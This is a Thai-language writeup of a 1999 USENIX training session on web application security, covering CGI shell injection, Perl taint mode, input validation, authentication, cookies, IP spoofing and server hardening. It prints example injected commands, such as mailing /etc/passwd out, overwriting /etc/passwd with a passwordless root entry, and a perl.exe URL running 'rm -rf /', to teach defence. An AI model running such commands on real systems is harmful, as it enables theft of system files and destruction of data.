Web Application Security.. USITS’99 ตอนที่ 1

ตอนที่สองของการไปประชุมนะครับ เป็นหัวข้อ training เรื่อง Web Application Security และ Intruder Detection & Network Forensics ใน USITS’99 .. ในฉบับนี้เอาเป็น Web Application Security ก่อนก็แล้วกัน…เอาล่ะ ล้อมวงกันเข้ามา :)

ส่วนของ web application security บรรยายโดย มาร์ค-เจสัน โดมินัส (Mark-Jason Dominus) .. ในอดีต มาร์คทำงานเกี่ยวกับ web ตั้งแต่ปี 1994 ซึ่ง NCSA Mosaic เพิ่งจะออกมา (สำหรับคนที่ไม่รู้นะครับ NSCA Mosaic เป็น graphical web browser ตัวแรกๆ เป็นบรรพบุรุษของ Netscape, Internet Explorer, etc.) .. ..ปัจจุบันทำงานเป็นผู้ดูแลระบบ และที่ปรึกษาด้วนความปลอดภัยให้กับหลายๆ บริษัท..การบรรยายก็ตามชื่อล่ะครับ จะเกี่ยวกับ web เท่านั้น ไม่รวมถึงการป้องกัน web server, firewalling และอื่นๆ .. ลองมานึกดูนะครับว่ามีอะไรบ้างที่เป็นปัญหาทาง security ของ web ?..เราพอจะแบ่งมันออกมาได้ 3 อย่างครับ คือ

  1. ผู้บุกรุกสามารถ เข้าถึงข้อมูลที่เป็นความลับ อันนี้อาจจะแย่ที่สุดเพราะสิ่งที่เราต้องการให้เป็นความลับมันไม่เป็นอีกต่อ ไป และถ้ามันเกิดขึ้นเราอาจจะไม่รู้เลยว่ามันเกิดขึ้นไปแล้ว
  2. ผู้บุกรุกสามารถบันทึกข้อมูลในที่ๆ ไม่ควรบันทึกได้ อย่างที่เคยเกิดขึ้นกับ homepage หลายๆ แห่งที่ถูกเปลี่ยนข้อความ, รูปภาพ ฯลฯ
  3. ผู้ บุกรุกทำให้ระบบไม่สามารถตอบสนองกับผู้ใช้ได้ตามปกติ (Denial-of-service attack) นี่ก็เกิดบ่อย เช่นแก้ DNS entry หรือแม้แต่ง่ายๆ อย่างตั้งไอพีแอดเดรสให้ชนกัน

ทั้งสามอย่างนี้เป็นสิ่งที่ทำให้ admin ทั้งหลายนอนไม่หลับมานักต่อนักแล้ว ทำไมถึงเกิดสิ่งเหล่านี้ขึ้นได้ ? งั้นต้องดูกลไกการทำงานของ web กันซักนิด…

Web กับปัญหาของ CGI

Web ทำงานโดยใช้ HyperText Transfer Protocol (HTTP) ..เครื่องที่จะให้บริการเว็บได้จะต้องมีโปรแกรมที่ทำงานตามข้อกำหนดของ HTTP อยู่ ในระบบ UNIX โปรแกรมที่ว่านี่ก็คือ httpd (HTTP daemon) นั่นเอง.. โปรแกรมนี้จะคอยรับการร้องขอของผู้ใช้ ตรวจสอบการร้องขอดังกล่าว และตอบสนองการร้องขอนั้นกลับไป ผู้ใช้สามารถร้องขอการบริการเว็บได้โดยใช้โปรแกรมที่เรียกกันว่า “เว็บเบราว์เซอร์” อย่างเช่น Netscape Navigator หรือ Internet Explorer ซึ่งจะรับข้อมูลมาแปล และแสดงบนจอภาพ .. อย่างไรก็ตามเว็บไม่ได้ทำได้เพียงแต่การส่งข้อมูลไปที่เบราว์เซอร์ เพียงอย่างเดียว ..มันอนุญาตให้ผู้ใช้ เรียกใช้โปรแกรมบนเซิร์ฟเวอร์ได้โดยใช้ “Common Gateway Interface” หรือที่เรียกสั้นๆ ว่า CGI .. และ CGI นี่เองที่ทำให้เกิดปัญหาขึ้นมา..เอ..ทำไมล่ะ ? ปัญหาไม่ได้อยู่ที่ CGI ครับ .. ปัญหาอยู่ที่โปรแกรมที่ CGI จะ run ต่ะหาก สมมติว่ามี CGI script ง่ายๆ รับข้อมูลจาก dialog แล้วก็ส่งไป finger

#!/bin/sh
FINGER=/usr/ucb/finger
...
<ISINDEX>
...
$FINGER $*

..บรรทัดสำคัญคือ $FINGER $* ซึ่งจะ execute /usr/ucb/finger โดยเติม $* เป็น command-line argument..ดังนั้นถ้ากรอก “[email protected]” ลงในช่องว่างใน browser .. CGI script ก็จะ run “/usr/ucb/finger [email protected]” ที่ server แล้วก็ส่งผลลัพธ์ของ finger แสดงขึ้นมาที่หน้าจอ simple ๆ ไม่น่ามีปัญหาใช่มั้ยครับ ? ..เหอะๆๆ หลายคนอาจคิดว่า มันก็แค่โปรแกรม finger ซึ่งไม่น่าทำอันตรายใดๆ ได้ ถึงจะกรอกข้อมูลมั่วๆ ลงไป มันก็จะ finger มั่วๆ ออกมาเท่านั้น.. ถ้าคิดเฉพาะ finger ก็ถูกครับ แต่เราไม่ได้ run เฉพาะ finger เท่านั้นนะครับ เรา run “/bin/sh” ด้วย..และนี่คือตัวปัญหา .. command-line argument สำหรับ shell บางตัวอาจจะมีความหมายต่างๆ ไป เช่นกรอกอย่างนี้

othercommand

ผลลัพธ์ที่ได้ก็จะกลายเป็นการ run finger โดยมี ‘othercommand’ เป็น argument

/usr/ucb/finger 'othercommand'

ซึ่งเป็นการ execute ‘othercommand’ ก่อนแล้วส่ง output ของ ‘othercommand’ ไปยัง finger อีกทีนึง…ทีนี้ถ้ากรอก

'mail [email protected] < /etc/passwd'

ก็จะกลายเป็น mail ข้อมูลใน /etc/passwd ไปที่ [email protected]..ตอนนี้ผลที่ browser จะขึ้นมายังไงไม่สนแล้วครับ เพราะสิ่งที่ต้องการคือผลจาก ‘othercommand’ ต่ะหาก…ลองดูที่ร้ายสุดๆ

'echo root::0:0:root:/:/bin/sh > /etc/passwd'

ตอนนี้ใครที่เป็น admin ก็หนาวๆ ร้อนๆ แล้วล่ะ…หวังว่าคงไม่ได้ run httpd ด้วย root นะครับ..อย่างไรก็ตามปัญหาของ command-line argument ได้ถูกแก้ไขมานานแล้ว ดังนั้นปัญหาลักษณะนี้จะไม่เกิดกับ httpd รุ่นหลังๆ แต่ก็ไม่ได้หมายความว่าจะไม่มีปัญหาอื่นอีก .. จากตัวอย่างจะเห็นปัญหาของ shell ว่ามันซับซ้อนและคาดเดาได้ผลได้ยาก ดังนั้น “สิ่งที่ควรหลีกเลี่ยงอย่างแรกคือการเข้าสู่ shell ของระบบ”ไม่ว่าจะเป็น CGI แบบ shell script หรือการใช้ functions เพื่อเข้าสู่ shell ในภาษาอื่นๆ เช่น system, exec, ฯลฯ ไม่ควรใช้นะครับ

เขียน CGI ด้วย Perl Script

มี CGI มากมายที่เขียนโดยใช้ perl ในปัจจุบัน สำหรับ perl ..นอกจากการเลี่ยงการใช้คำสั่งเพื่อเข้าสู่ shell แล้วยังพอมีทางป้องกันปัญหาความปลอดภัยอีกอย่างที่ควรทำ คือการใช้ option -T ในการ run perl ..option นี้มีไว้เพื่อตรวจเช็ค script โดยมีพื้นฐานการตรวจ 3 อย่างตามนี้ครับ

  1. operation บางอย่างถือว่าไม่ปลอดภัย เช่น remove file, run subprogram
  2. input จาก user เป็นสิ่งที่ไม่น่าไว้ใจ เพราะ user อาจจะกรอกสิ่งที่ไม่ควรกรอกได้
  3. operation ที่ไม่ปลอดภัยต้องไม่มาเกี่ยวข้องกับ input ของ user

option -T จะเช็คการทำงานของโปรแกรม หากตรวจพบว่าการทำงานของ script ไม่ปลอดภัย (ตาม 3 ข้อที่กล่าวมา) มันจะหยุดทำงานทันที อ้าว..แล้วถ้าจำเป็นต้องรับ user input มาใช้จริงๆ ล่ะ ? ก็มีทางทำให้ input ของ user ไว้ใจได้ โดยการ pattern matching หรือที่เรียกกันอีกอย่างว่า laundering ครับ อย่างเช่น e-mail address ก็อาจจะใช้แบบนี้

# extract e-mail address from user input
unless ($input = ~/(w+@w+(.w+)*)/) {
# bad address; abort
}
$address = $1;

ดังนั้น “สำหรับ CGI ที่เขียนด้วย perl บรรทัดแรกของ script อย่าลืม “#!/bin/perl -T” และใช้ laundering”เพื่อให้มั่นใจว่า input จาก user จะเป็น format ที่ต้องการนำไปใช้ใน script ต่อไป

แนวคิดในการตั้ง policy สำหรับระบบความปลอดภัย

อ้า..มา ดูกันต่อ httpd สามารถตั้งได้ใน configuration files เพื่อแบ่งสิทธิการเข้าถึงข้อมูลได้ (access.conf) แต่จะกำหนดอย่างไรขึ้นกับ policy ที่เราตั้งไว้ .. พูดถึง policy ระบบความปลอดภัยทั่วไปมักจะต้องมีการกำหนด policy เสมอ ซึ่งโดยรวมแล้วมีแค่สองแนวครับ

  • แนวคิดแบบอเมริกัน: Everything not forbidden is permitted
  • แนวคิดแบบรัสเซีย: Everthing not permitted is forbidden

สำหรับ อเมริกันสิ่งที่สำคัญที่สุดคือเสรีภาพในทุกๆ ด้าน ดังนั้นแนวความคิดนี้จึงนำมาใช้เพื่อให้ข้อมูลข่าวสารสามารถเข้าถึงได้ง่าย ไม่มีการปิดกั้น แต่ในแง่ความปลอดภัยต้องคิดแบบรัสเซียครับ มีตัวอย่างมากมายที่ใช้แนวคิดแบบอเมริกันแล้วก็ล้มเหลวเพราะไม่สามารถคุม สิทธิได้ทั่วถึง ลองสมมติดูนะครับ ถ้าเราคิดแบบอเมริกันหมายความว่าเราจะพยายามทำ list ว่าจะห้ามใครไม่ให้เข้ามาใช้บ้าง .. เกิดอะไรขึ้นถ้าลืมใส่ชื่อใครบางคนใน list ? ระบบจะอยู่ในความเสี่ยงทันที อันตรายใช่มั้ยครับในขณะที่คิดแบบรัสเซียจะเป็น list ว่าใครจะเข้ามาใช้ได้บ้าง ถ้าลืม..ก็แค่คนๆ นั้นเข้าไม่ได้ ระบบไม่เสี่ยงต่อความเสียหายจากการบุกรุก ต่างกันมากทีเดียว ..ย้ำอีกที “สำหรับเรื่องความปลอดภัย ..ทำตัวเป็นคนรัสเซีย..คิดแบบรัสเซีย”

มาถึงเบราว์เซอร์ กันบ้าง

…นี่ ก็เรื่องปวดหัวเหมือนกัน หลายคนคิดว่าโลกนี้มีแค่ Netscape Navigator กับ Microsoft Internet Explorer หรืออาจจะมีแถม Opera กับ Lynx .. ถ้ายังไม่รู้ก็ขอบอกไว้ตรงนี้ว่าเบราว์เซอร์ตอนนี้มีเป็นร้อยครับ นี่ไม่นับที่เขียนเองอีกไม่รู้อีกเท่าไหร่ แต่ละตัวถึงจะ conform กับ HTML แต่ทำงานไม่เหมือนกันแน่ๆ แค่แสดงเว็บเพจเดียวกันยังไม่เหมือนกันเลย และที่สำคัญคือมันเป็นสิ่งที่ web programmer ไม่สามารถควบคุมได้ ดังนั้นเวลา test โปรแกรมกับเบราว์เซอร์ตัวนึงผ่าน ไม่ได้หมายความว่าโปรแกรมมันจะใช้งานได้ถูกต้องทุกครั้ง ลองสมมติกันหน่อยว่า CGI program ของเรารับ input ได้ไม่เกิน 40 ตัวอักษร ก็เลยใช้ tag <INPUT TYPE=text MAXSIZE=40> เพื่อให้ input ที่เบราว์เซอร์รับและส่งผ่าน CGI ไม่เกิน 40 ตัวอักษร ..ปลอดภัย ? ไม่แน่ครับ อาจจะมีเบราว์เซอร์บางตัวไม่ support ..(มีคนเถียงว่า “มีรื้อ..ไม่มีร๊อก..browser ที่ไหนจะใช้ MAXSIZE ไม่ได้”..OK, OK อ่านต่อครับ) ถึงจะ support มันก็เป็นเพียงตัวกันเรากรอกเกิน ไม่ได้หมายความว่าจะส่งเกินไม่ได้ .. ผู้ใช้อาจจะแก้ MAXSIZE เป็น 200 เองก็ได้… หรือง่ายกว่านั้น..แก้ argument ของ URL โดยตรง..ดังนั้นใน CGI program ก็ควรจะต้องเช็คว่าเกินหรือไม่อยู่ดี ยังมีตัวอย่างอื่นๆ อีกเช่น tag <SELECT> สำหรับทำเป็น choice ให้ user เลือก แล้วค่าที่เลือกก็จะ submit ไปที่ CGI…เราอาจจะเขียนโปรแกรมโดยคาดหวังว่าค่าที่โปรแกรมจะได้รับเป็นค่าที่ กำหนดไว้ใน <SELECT> .. มันก็ไม่แน่เสมอไปเพราะผู้ใช้ สามารถเปลี่ยนแปลงได้โดยวิธีเดียวกับการแก้ MAXSIZE .. มาร์คเล่าว่ามีคนเคยใช้วิธีนี้มาแล้วเพื่อหาข้อมูลสมาชิกของ เว็บไซต์แห่งนึง.. เว็บไซต์ที่ว่านี้ใช้ <SELECT> เพื่อให้เลือกจำนวนว่าให้แสดงข้อมูลของสมาชิก 10, 25, 50 และ 100 คน ..เขาเปลี่ยน 100 เป็น 10000 แล้ว submit ไปครั้งเดียว..ได้ชื่อสมาชิกของไซต์นั้นทั้งหมดแล้วก็เอาไปขายให้บริษัทที่ ต้องการ..ได้เงินถึง US$ 8,000 .. ฮู้ นี่ยังไม่ได้พูดถึงเบราว์เซอร์ที่เขียนขึ้นมาใช้เองเพื่อประโยชน์บางอย่าง …สรุปก็คือ อย่าไว้ใจเว็บเบราว์เซอร์ มันเป็นสิ่งที่เหนือการควบคุมของ web programmer .. อย่าไว้ใจว่าเบราว์เซอร์จะทำอย่างที่เราเขียนไว้ในซอร์สและอย่าเชื่อในสิ่ง ที่เบราว์เซอร์ส่งมา แม้แต่ log ของ httpd ก็เชื่อไม่ได้ 100% เพราะนั่นคือสิ่งที่เบราว์เซอร์ส่งมาเหมือนกัน.. เตือนแล้วนะครับ :)

Authentication

รากฐาน ของความปลอดภัยในคอมพิวเตอร์ทุกๆ อันมาจาก authentication ครับ…authentication คือกลไกที่ใช้สำหรับตรวจสอบ identity ครับ (identity ที่ว่าอาจจะเป็นของมนุษย์, เครื่อง, โปรแกรม, บริษัท, etc.) ในเว็บมีแอพพลิเคชันมากมายที่ต้องใช้ authentication เพื่อให้มั่นใจได้ว่าเป็นผู้ใช้ที่มีสิทธิใช้งานระบบจริงๆ ..ใน HTTP มี authentication ให้ใช้เหมือนกัน อันที่เก่าแก่สุดคือ Basic Authentication วิธีการก็ง่ายๆ ครับ username/password … ถ้ากรอกถูกก็เข้าได้ กรอกผิดก็เจอ “Authorization Failed” ..เอาล่ะ ในกรณีที่ใส่ username/password ถูกต้อง การเข้าไปใช้งานครั้งต่อๆ ไปตัวเบราว์เซอร์ จะส่ง username/password ไปด้วยทุกครั้ง แต่เพื่อความปลอดภัยขึ้นมาหน่อย username/password ก็จะถูก scrambling ด้วย base-64 encoding .. ซึ่งจะว่ากันไปแล้วก็ไม่ได้ช่วยให้ปลอดภัยกว่าเก่าเท่าใดนัก อย่างไรก็ตาม มาร์ค ล่าวว่าข้อดีของ Basic Authentication คือมันใช้งานได้กับเบราว์เซอร์ทุกตัวที่เขารู้จัก แต่ข้อเสียก็อย่างที่บอกว่ามันไม่ปลอดภัยเพียงพอ ทุกครั้งที่ request หมายถึงการส่ง username/password ออกไป…พยายามเลี่ยงการใช้ Basic Authentication หากข้อมูลที่มีอยู่มีความสำคัญมากๆ เลือกใช้วิธีการแบบอื่นแทน หรือใช้งานร่วมกับ cryptography อื่นๆ จะดีกว่า

เรื่องของขนม

ที่ ผ่านมา..จะเห็นว่าการทำงานของ HTTP ไม่ได้เป็นการเชื่อมต่อแบบถาวรเหมือน telnet (แม้ว่าจะใช้ TCP ก็ตาม) เหตุผลก็คือเว็บเซิร์ฟเวอร์จำเป็นต้องตอบสนองการ request ได้ทีละมากๆ ถ้าเชื่อมต่อแบบถาวรจะทำให้สูญเสียทรัพยากรระบบมากเกินไป http จึงทำงานในลักษณะ request-response-disconnect-restart ..คล้ายกับ UDP แต่ว่าที่ใช้ TCP ก็เพื่อรักษา reliability ของข้อมูลไว้ ดังนั้น web จึงไม่มีการ synchronize ระหว่างผู้ใช้กับเซิร์ฟเวอร์เลย.. เซิร์ฟเวอร์ ไม่มีทางรู้ได้เลยว่า ณ เวลาใดเวลาหนึ่ง ผู้ใช้กำลังทำงานกับเว็บหน้าไหนอยู่ ยิ่งเป็น CGI ยิ่งแล้วใหญ่..ลองนึกภาพ search engine ที่รับข้อความ 10 ข้อความจากผู้ใช้ 10 ราย มาค้นหาพร้อมๆ กันแต่สุดท้ายก็ไม่รู้ว่าจะส่งผลแต่ละอันกลับไปให้ใคร ..คงยุ่งน่าดู ด้วยเหตุผลนี้ Basic Authentication มันถึงจำเป็นต้องส่ง username/password ทุกครั้งที่มีการ request ข้อมูล (ในขณะที่ telnet จะส่งเพียงครั้งแรกตอนที่ login เท่านั้น) วิธีแก้ปัญหาในปัจจุบันที่ใช้งานกันคือการใช้ Cookies เพื่อ synchronization …Cookies เป็นแนวความคิดที่แนะนำโดย Netscape วิธีการก็ง่ายๆ .. เมื่อเซิร์ฟเวอร์ส่งข้อมูลกลับไปให้เบราว์เซอร์มันจะส่งข้อมูลชิ้นเล็กๆ ติดไปด้วย และทุกครั้งที่เบราว์เซอร์จะ request ข้อมูลจากเซิร์ฟเวอร์ก็จะส่งข้อมูลชิ้นเล็กๆ นั้นติดไปกับ request ด้วยเพื่อให้เซิร์ฟเวอร์รู้ว่า request อันนี้คือการทำงานกับผู้ใช้รายใด .. คงพอเดาออกว่าข้อมูลเล็กๆ ที่ว่าก็คือ cookies นั่นเอง .. การใช้ cookies ร่วมกับ Basic Authentication ช่วยให้ไม่ต้องส่ง username/password ทุกๆ ครั้งที่ request จึงลดโอกาสที่ username/password จะรั่วได้ แต่ก็มีข้อจำกัดเหมือนกันคือ cookies ต้องส่งกลับไปที่เซิร์ฟเวอร์ ทุกครั้งที่มีการ request ที่แย่กว่านั้นคือ cookies สามารถแก้ไขได้และอยู่ในการควบคุมของเบราว์เซอร์ซึ่ง web programmer เอื้อมไม่ถึง (จำได้มั้ยครับ “อย่าไว้ใจเว็บเบราว์เซอร์”).. นอกจากนี้เบราว์เซอร์เก่าๆ บางตัวก็ใช้ cookies ไม่ได้ ..ที่แย่กว่านั้นผู้ใช้สามารถตั้ง option ไม่ให้รับ cookies ก็ได้…และที่แย่สุดๆ คือแม้ว่าจะปิดเบราว์เซอร์ไปแล้ว แต่ cookies บางอันก็ยังเก็บไว้ในเครื่องอยู่!! ไม่เชื่อลองหาดูใน directory cookies..ผมว่าเจอตรึมล่ะ…ใครๆ ก็ copy ไปใช้ได้ไม่ยากเลย สรุป..อย่าไปมั่นใจกับ cookies สำหรับงานทั่วๆ ไปที่ไม่เกี่ยวกับการเข้าถึงข้อมูลที่สำคัญๆ อย่าง search engine, webboard ยังคงใช้ cookies ได้ครับ..ได้อย่างดีเสียด้วย แต่สำหรับกรณีที่เป็นงานที่เกี่ยวข้องกับข้อมูลที่สำคัญๆ เช่น ฐานข้อมูลของบริษัท..ก็เลี่ยงๆ การใช้ cookies จะดีกว่า

งั้นเช็คไอพี แอดเดรสไปเลย..ง่ายและชัวร์.. อื้อ…พอได้ครับ ใน http มีตัวแปรระบบเก็บค่าไอพีแอดเดรสไว้ด้วย ซึ่งเขียนโปรแกรมเช็คได้ง่ายๆ แต่ก็มีข้อจำกัดอีกเยอะ เช่นการใช้ proxy หรือการขโมยไอพีแอดเดรส หรือแม้แต่ตั้งไอพีแอดเดรสชนกันซะ..แม้ว่าหลายคนจะเถียงว่าตั้งไอพีแอดเดรส ชนก็ไม่มีทางได้รับ respond กลับมาสิ..ถูกครับ แต่มีงานบางอย่าง ที่ไม่ต้องรอ respond ก็มี ตัวอย่างจริงๆ ที่มี เช่น

exit 0
unless $ENV{REMOTE_ADDR} eq '202.44.196.222';
system("/sbin/halt");

สคริปต์สำหรับ shutdown เว็บเซิร์ฟเวอร์ โดยเช็คไอพีแอดเดรสว่ามาจากเครื่อง admin รึเปล่า (ในที่นี้สมมติว่า admin ใช้ IP=202.44.196.222) ถ้าใช่ก็จะสั่ง shutdown .. สมมติว่ามีใครซักคนตั้งไอพีแอดเดรส ชนกับเครื่อง admin แล้วส่ง request ไปที่เซิร์ฟเวอร์ …เครื่อง down ชัวร์ ..แถมจะเช็คกลับก็ไม่ได้ว่าจริงๆ แล้วเครื่องไหนเป็นตัวสั่ง shutdown เพราะใน httpd log ก็จะปรากฏเป็น IP=202.44.196.222 อยู่ดี.. วิธีเช็คไอพีแอดเดรสจึงไม่เหมาะเท่าไหร่ที่จะเอามาใช้เป็นการ authentication ..อย่างไรก็ตามการเช็คไอพีแอดเดรส ก็เป็นวิธีที่ไม่เลวนักถ้าใช้ร่วมกับวิธีอื่นๆ ด้วย..

ป้องกัน server กันเถอะ

การ ใช้ CGI ที่ปลอดภัยนั้นไม่เพียงพอที่จะพูดได้ว่า เว็บของเราปลอดภัย..ตัวเว็บเซิร์ฟเวอร์เองก็สำคัญพอๆ กัน อย่างแรกคือ run server ด้วย permission ขั้นต่ำๆ .. อย่า run ด้วย root เป็นอันขาด! เพราะนั่นหมายถึงใครๆ ก็ run program บนเซิร์ฟเวอร์ด้วยสิทธิระดับสูงสุด .. ไม่มีอะไรแย่กว่านี้อีกแล้วบางระบบต้องใช้ root เพื่อ execute httpd ไม่งั้นก็จะใช้ port 80 ไม่ได้ หลังจากนั้นถึงจะเปลี่ยนไป run ด้วย permission ที่ต่ำกว่าเช่น user nobody ..ฟังดูก็คง ok ถ้ามั่นใจว่า httpd ที่ใช้ไม่มี bugs..ถ้าเป็นไปได้สร้าง user ตัวนึงเพื่อใช้ run httpd ..ผมหมายถึงใช้สิทธิของ user เป็นตัว execute ตั้งแต่แรกเลย จะปลอดภัยกว่า.. อย่างที่สองคือแยก owner ระหว่าง httpd กับ configuration files เพื่อป้องกันกรณีที่เกิดรูรั่วของ CGI .. configuration จะได้ไม่ถูกเปลี่ยนได้ง่ายๆ..anonymous FTP ไม่ควร run อยู่กับ web server ถ้าไม่จำเป็นจริงๆ .. ผู้ใช้อาจจะส่ง perl script ไปเก็บลงใน incoming directory แล้วสั่ง run script ผ่าน web ได้หาก FTP area อยู่ภายใน web directory..ถ้าจำเป็นต้องทำจริงๆ ให้แยก FTP directory ออกจาก web โดยเด็ดขาด.. ถ้าทำไม่ได้อีกก็ให้ตั้ง owner ของ incoming FTP เป็น www แล้วเปิด permission ให้ write ได้อย่างเดียว.

กรณีของ Netscape Server for NT จะมีโปรแกรม perl.exe ติดมาเพื่อทำหน้าที่เป็น perl interpreter ปัญหามีอยู่ว่าในรุ่นเก่า perl.exe จะไม่รู้จัก *.pl…Netscape tecnical note แนะว่าให้ copy perl.exe ไปลงใน web space แล้วจะใช้งานได้โดยเรียก

.../perl.exe?program.pl

… Netscape แนะนำทั้งทีน่าจะปลอดภัย..เหอะๆๆ OK..มาดูกัน..พอ copy perl.exe ลงใน web space ได้ก็แปลว่าใครๆ ก็ใช้ perl.exe ได้..แล้วไง ?? ไม่เห็นแปลก..งั้นลองนี่

.../perl.exe?-e+system+rm+-rf+/

เหอะๆๆ …บอกลา files ในฮาร์ดดิสก์ได้เลย…เอา perl.exe มาไว้ใน web space ก็เหมือนปิดประตูไม่ล๊อคกุญแจแหละครับ ..แต่ที่แย่สุดๆ คือ ผู้ใช้สามารถใช้ search engine ตัวโปรด search หา perl.exe…search engine ก็จะโชว์ list ของ server ที่ปิดประตูไม่ล๊อคกุญแจทั้งหลาย (-_-‘)..ตัวใครตัวมันล่ะครับ

สรุปกันดีกว่า

เอาล่ะครับ ร่ายมายาวพอสมควร..หวังว่าจะได้ความรู้กับบทความนี้บ้างไม่มากก็น้อย.. …สำหรับ Web Application Security เป็นเรื่องที่กว้างและมีรายละเอียดทางเทคนิคเยอะพอสมควร อย่างเช่นการป้องกันโดยใช้เทคโนโลยีการเข้ารหัส ซึ่งผมกะว่าจะมาเล่าให้ฟังอีกทีในวันหลัง .. Web application กำลังเป็นสิ่งที่ใครๆ หันมาสนใจมากขึ้นเพราะแรงผลักของ E-Commerce..ใครได้มีโอกาสไปพัฒนา ก็อย่าลืมที่เน้นๆ ไว้ก็แล้วกันครับ ..อ้อ..มีทิ้งท้ายอีกนิดนึง การทำให้ระบบปลอดภัยเป็นสิ่งที่ดีแน่นอน แต่ประเด็นอยู่ที่ว่าคุ้มค่ามั้ยที่จะเพิ่มความปลอดภัยให้กับระบบ ? นั่นคือ..เราต้องถามตัวเองก่อนว่า อะไรที่เรากำลังจะป้องกัน ? อะไรที่คือความเสี่ยงที่อาจจะเกิดขึ้น ? .. สองคำถามนี้เป็นจุดเริ่มต้นในการลงทุนลงแรงกับความปลอดภัยโดยเฉพาะเมื่อเข้า สู่โลกธุรกิจ…การลงทุนควรจะได้ผลที่คุ้มค่า.. “จ่ายเงินซื้อกุญแจให้สมกับมูลค่าของสิ่งที่มันจะปกป้อง.. ไม่มากและน้อยเกินไป” พบกันใหม่ฉบับหน้ากับ Intrusion Detection & Network Forensics ครับ…Bye ^^


บทความนี้เรียบเรียงจากการอบรม ในหัวข้อ “Web Application Security” บรรยายโดย Mark-Jason Dominus ในการประชุมเชิงปฏิบัติการ “2nd. USENIX Symposium on Internet Technologies & Systems (USITS’99)” วันที่ 11 ตุลาคม 2542 ณ. Regal Harvest House Hotel, เมืองโบลเดอร์, รัฐโคโลราโด, ประเทศสหรัฐอเมริกา จัดโดย USENIX Associations, Advanced Computing Systems Association, และ IEEE Technical Committee on the Internet.